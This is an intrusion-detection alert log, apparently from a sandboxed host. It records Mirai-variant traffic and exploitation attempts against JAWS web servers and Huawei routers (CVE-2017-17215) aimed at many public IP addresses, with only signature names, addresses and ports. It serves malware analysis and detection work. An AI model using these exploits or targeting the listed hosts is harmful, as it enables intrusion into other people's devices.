2024-12-03T23:17:27.060270+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47844	208.186.15.150	80	TCP
2024-12-03T23:17:27.075736+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38110	5.15.199.79	80	TCP
2024-12-03T23:17:27.075736+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38110	5.15.199.79	80	TCP
2024-12-03T23:17:27.075951+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42020	84.239.96.186	80	TCP
2024-12-03T23:17:27.075951+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42020	84.239.96.186	80	TCP
2024-12-03T23:17:27.075986+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35188	167.147.161.247	80	TCP
2024-12-03T23:17:27.075986+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35188	167.147.161.247	80	TCP
2024-12-03T23:17:27.091472+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41410	189.239.24.246	80	TCP
2024-12-03T23:17:27.091472+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41410	189.239.24.246	80	TCP
2024-12-03T23:17:27.091593+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38348	2.224.187.23	80	TCP
2024-12-03T23:17:27.091593+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38348	2.224.187.23	80	TCP
2024-12-03T23:17:27.091738+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43240	173.199.149.70	80	TCP
2024-12-03T23:17:27.091738+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43240	173.199.149.70	80	TCP
2024-12-03T23:17:27.092022+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35476	67.246.218.180	80	TCP
2024-12-03T23:17:27.092022+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35476	67.246.218.180	80	TCP
2024-12-03T23:17:27.092023+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38982	94.6.220.165	80	TCP
2024-12-03T23:17:27.092023+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38982	94.6.220.165	80	TCP
2024-12-03T23:17:27.100404+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42442	153.215.217.214	80	TCP
2024-12-03T23:17:27.100404+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42442	153.215.217.214	80	TCP
2024-12-03T23:17:27.101551+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42036	98.133.89.89	80	TCP
2024-12-03T23:17:27.101551+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42036	98.133.89.89	80	TCP
2024-12-03T23:17:27.142597+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48534	209.208.34.155	80	TCP
2024-12-03T23:17:27.142597+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48534	209.208.34.155	80	TCP
2024-12-03T23:17:27.163216+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39350	184.43.27.150	80	TCP
2024-12-03T23:17:27.163216+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39350	184.43.27.150	80	TCP
2024-12-03T23:17:27.163281+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49720	171.127.100.93	80	TCP
2024-12-03T23:17:27.163281+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49720	171.127.100.93	80	TCP
2024-12-03T23:17:27.178544+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56728	206.252.91.126	80	TCP
2024-12-03T23:17:27.178544+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56728	206.252.91.126	80	TCP
2024-12-03T23:17:27.178726+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37154	194.73.27.153	80	TCP
2024-12-03T23:17:27.178726+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37154	194.73.27.153	80	TCP
2024-12-03T23:17:27.178786+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42506	47.133.174.91	80	TCP
2024-12-03T23:17:27.178786+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42506	47.133.174.91	80	TCP
2024-12-03T23:17:27.178833+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59392	205.172.128.118	80	TCP
2024-12-03T23:17:27.178833+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59392	205.172.128.118	80	TCP
2024-12-03T23:17:27.184820+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41546	35.30.245.0	80	TCP
2024-12-03T23:17:27.184820+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41546	35.30.245.0	80	TCP
2024-12-03T23:17:27.184941+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34222	218.35.230.12	80	TCP
2024-12-03T23:17:27.184941+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34222	218.35.230.12	80	TCP
2024-12-03T23:17:27.185159+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51538	84.33.234.26	80	TCP
2024-12-03T23:17:27.185159+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51538	84.33.234.26	80	TCP
2024-12-03T23:17:27.185323+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52896	221.111.52.56	80	TCP
2024-12-03T23:17:27.185323+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52896	221.111.52.56	80	TCP
2024-12-03T23:17:27.194134+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48370	9.5.252.161	80	TCP
2024-12-03T23:17:27.194134+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48370	9.5.252.161	80	TCP
2024-12-03T23:17:27.194334+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57556	49.56.31.174	80	TCP
2024-12-03T23:17:27.194334+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57556	49.56.31.174	80	TCP
2024-12-03T23:17:27.194505+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53324	68.11.208.115	80	TCP
2024-12-03T23:17:27.194505+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53324	68.11.208.115	80	TCP
2024-12-03T23:17:27.200516+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43404	20.160.160.81	80	TCP
2024-12-03T23:17:27.200516+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43404	20.160.160.81	80	TCP
2024-12-03T23:17:27.200645+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53086	78.187.111.41	80	TCP
2024-12-03T23:17:27.200645+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53086	78.187.111.41	80	TCP
2024-12-03T23:17:27.200926+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46006	20.22.209.93	80	TCP
2024-12-03T23:17:27.200926+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46006	20.22.209.93	80	TCP
2024-12-03T23:17:27.201125+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57972	195.227.222.30	80	TCP
2024-12-03T23:17:27.201125+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57972	195.227.222.30	80	TCP
2024-12-03T23:17:27.209676+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47170	76.125.89.255	80	TCP
2024-12-03T23:17:27.209676+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47170	76.125.89.255	80	TCP
2024-12-03T23:17:27.210042+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49688	191.3.17.107	80	TCP
2024-12-03T23:17:27.210042+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49688	191.3.17.107	80	TCP
2024-12-03T23:17:27.210045+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54122	211.20.207.90	80	TCP
2024-12-03T23:17:27.210045+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54122	211.20.207.90	80	TCP
2024-12-03T23:17:27.210158+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51004	168.182.83.90	80	TCP
2024-12-03T23:17:27.210158+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51004	168.182.83.90	80	TCP
2024-12-03T23:17:27.210321+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59472	37.40.144.216	80	TCP
2024-12-03T23:17:27.210321+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59472	37.40.144.216	80	TCP
2024-12-03T23:17:27.210547+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41234	73.95.184.193	80	TCP
2024-12-03T23:17:27.210547+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41234	73.95.184.193	80	TCP
2024-12-03T23:17:27.216012+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43674	4.11.180.117	80	TCP
2024-12-03T23:17:27.216012+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43674	4.11.180.117	80	TCP
2024-12-03T23:17:27.225294+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58694	98.127.211.88	80	TCP
2024-12-03T23:17:27.225294+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58694	98.127.211.88	80	TCP
2024-12-03T23:17:27.225414+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35802	45.201.163.136	80	TCP
2024-12-03T23:17:27.225414+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35802	45.201.163.136	80	TCP
2024-12-03T23:17:27.225644+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43442	103.131.6.121	80	TCP
2024-12-03T23:17:27.225644+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43442	103.131.6.121	80	TCP
2024-12-03T23:17:27.388461+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35054	45.16.173.155	80	TCP
2024-12-03T23:17:27.388461+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35054	45.16.173.155	80	TCP
2024-12-03T23:17:27.428616+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38302	220.61.134.87	80	TCP
2024-12-03T23:17:27.428616+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38302	220.61.134.87	80	TCP
2024-12-03T23:17:27.428669+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42338	166.46.200.183	80	TCP
2024-12-03T23:17:27.428669+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42338	166.46.200.183	80	TCP
2024-12-03T23:17:28.013570+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49830	197.129.239.153	37215	TCP
2024-12-03T23:17:28.022369+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36338	156.179.25.199	37215	TCP
2024-12-03T23:17:28.022439+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57924	156.11.211.84	37215	TCP
2024-12-03T23:17:28.028692+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53672	197.206.30.92	37215	TCP
2024-12-03T23:17:28.028812+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59208	41.131.100.112	37215	TCP
2024-12-03T23:17:28.038139+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58706	156.188.91.9	37215	TCP
2024-12-03T23:17:28.038211+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49456	41.175.188.129	37215	TCP
2024-12-03T23:17:28.044308+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43342	41.146.113.39	37215	TCP
2024-12-03T23:17:28.044626+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45158	41.64.62.175	37215	TCP
2024-12-03T23:17:28.053485+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33788	41.24.229.94	37215	TCP
2024-12-03T23:17:28.073211+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33388	197.7.25.59	37215	TCP
2024-12-03T23:17:29.162930+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33602	41.15.117.187	37215	TCP
2024-12-03T23:17:29.169415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54784	197.133.234.15	37215	TCP
2024-12-03T23:17:29.225406+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52426	197.56.85.36	37215	TCP
2024-12-03T23:17:29.294395+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38088	156.202.114.118	37215	TCP
2024-12-03T23:17:29.303539+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38500	156.8.109.111	37215	TCP
2024-12-03T23:17:29.303660+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36928	41.195.120.108	37215	TCP
2024-12-03T23:17:29.303765+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51536	156.48.81.13	37215	TCP
2024-12-03T23:17:29.325555+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55152	41.9.247.146	37215	TCP
2024-12-03T23:17:29.325627+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41380	197.85.202.7	37215	TCP
2024-12-03T23:17:29.366186+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54328	197.22.34.240	37215	TCP
2024-12-03T23:17:29.381829+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34710	197.185.18.96	37215	TCP
2024-12-03T23:17:29.381953+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55136	41.142.83.141	37215	TCP
2024-12-03T23:17:29.416277+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36816	197.27.4.172	37215	TCP
2024-12-03T23:17:30.123284+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44406	156.182.64.11	37215	TCP
2024-12-03T23:17:30.123498+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33100	41.106.66.36	37215	TCP
2024-12-03T23:17:30.123553+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45314	197.254.73.37	37215	TCP
2024-12-03T23:17:30.148391+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46982	197.175.236.20	37215	TCP
2024-12-03T23:17:30.148405+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34130	156.98.42.61	37215	TCP
2024-12-03T23:17:30.153775+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48574	197.181.229.76	37215	TCP
2024-12-03T23:17:30.153905+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58138	41.73.137.68	37215	TCP
2024-12-03T23:17:30.154100+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46532	197.77.85.156	37215	TCP
2024-12-03T23:17:30.154286+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43064	197.250.32.16	37215	TCP
2024-12-03T23:17:30.154370+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58010	41.121.239.129	37215	TCP
2024-12-03T23:17:30.154491+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38230	197.109.244.30	37215	TCP
2024-12-03T23:17:30.162965+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56426	41.189.143.36	37215	TCP
2024-12-03T23:17:30.169482+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42334	156.21.28.16	37215	TCP
2024-12-03T23:17:30.169701+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59082	197.63.34.43	37215	TCP
2024-12-03T23:17:30.169814+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47788	156.144.206.35	37215	TCP
2024-12-03T23:17:30.169929+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37052	41.16.119.240	37215	TCP
2024-12-03T23:17:30.170047+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60826	41.34.205.6	37215	TCP
2024-12-03T23:17:30.170146+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57674	197.108.41.106	37215	TCP
2024-12-03T23:17:30.170258+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53952	197.223.164.211	37215	TCP
2024-12-03T23:17:30.170484+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44030	197.194.163.2	37215	TCP
2024-12-03T23:17:30.170721+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51100	41.144.216.63	37215	TCP
2024-12-03T23:17:30.178586+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35804	156.103.117.90	37215	TCP
2024-12-03T23:17:30.178758+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42074	197.35.164.91	37215	TCP
2024-12-03T23:17:30.178878+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39882	156.112.192.117	37215	TCP
2024-12-03T23:17:30.178989+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33646	41.126.177.238	37215	TCP
2024-12-03T23:17:30.179063+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46628	156.159.216.3	37215	TCP
2024-12-03T23:17:30.179186+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56072	41.63.113.208	37215	TCP
2024-12-03T23:17:30.184830+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40458	197.130.252.241	37215	TCP
2024-12-03T23:17:30.194263+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60578	197.250.187.5	37215	TCP
2024-12-03T23:17:30.194333+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45714	41.25.222.46	37215	TCP
2024-12-03T23:17:30.200846+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38598	197.42.164.106	37215	TCP
2024-12-03T23:17:30.200853+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44334	197.153.112.166	37215	TCP
2024-12-03T23:17:30.201055+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39758	197.109.50.171	37215	TCP
2024-12-03T23:17:30.201222+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33832	156.181.177.182	37215	TCP
2024-12-03T23:17:30.201285+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54330	156.108.252.85	37215	TCP
2024-12-03T23:17:30.201421+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51006	41.73.221.1	37215	TCP
2024-12-03T23:17:30.201605+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60232	197.81.67.22	37215	TCP
2024-12-03T23:17:30.209708+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58756	197.132.16.251	37215	TCP
2024-12-03T23:17:30.209895+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41714	197.243.134.130	37215	TCP
2024-12-03T23:17:30.210178+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37344	197.67.47.58	37215	TCP
2024-12-03T23:17:30.210323+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49134	197.154.107.62	37215	TCP
2024-12-03T23:17:30.210530+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33208	41.217.194.94	37215	TCP
2024-12-03T23:17:30.210709+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42196	156.209.173.116	37215	TCP
2024-12-03T23:17:30.210922+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50110	156.39.63.242	37215	TCP
2024-12-03T23:17:30.216461+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43296	156.32.193.229	37215	TCP
2024-12-03T23:17:30.216591+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41160	156.166.112.95	37215	TCP
2024-12-03T23:17:30.216773+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51728	156.245.85.28	37215	TCP
2024-12-03T23:17:30.225387+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45548	156.90.20.165	37215	TCP
2024-12-03T23:17:30.225602+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37364	41.255.55.137	37215	TCP
2024-12-03T23:17:30.225713+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59638	41.246.157.74	37215	TCP
2024-12-03T23:17:30.225846+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58418	41.88.103.227	37215	TCP
2024-12-03T23:17:30.226034+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47864	156.139.41.135	37215	TCP
2024-12-03T23:17:30.241180+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35122	156.253.218.29	37215	TCP
2024-12-03T23:17:30.241228+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55238	197.216.98.132	37215	TCP
2024-12-03T23:17:30.241340+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37054	41.95.229.149	37215	TCP
2024-12-03T23:17:30.256852+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44436	156.41.120.23	37215	TCP
2024-12-03T23:17:30.272520+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53128	197.188.248.64	37215	TCP
2024-12-03T23:17:30.272579+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48044	156.98.11.53	37215	TCP
2024-12-03T23:17:30.341254+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38678	61.36.233.0	80	TCP
2024-12-03T23:17:30.341254+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38678	61.36.233.0	80	TCP
2024-12-03T23:17:30.413515+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53146	197.96.84.2	37215	TCP
2024-12-03T23:17:30.419415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54128	197.42.153.203	37215	TCP
2024-12-03T23:17:30.466355+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56806	213.243.183.208	80	TCP
2024-12-03T23:17:30.466355+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56806	213.243.183.208	80	TCP
2024-12-03T23:17:30.475506+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47970	156.201.223.8	37215	TCP
2024-12-03T23:17:30.497559+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48074	46.219.253.5	80	TCP
2024-12-03T23:17:30.497559+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48074	46.219.253.5	80	TCP
2024-12-03T23:17:30.528897+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50980	221.155.112.76	80	TCP
2024-12-03T23:17:30.528897+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50980	221.155.112.76	80	TCP
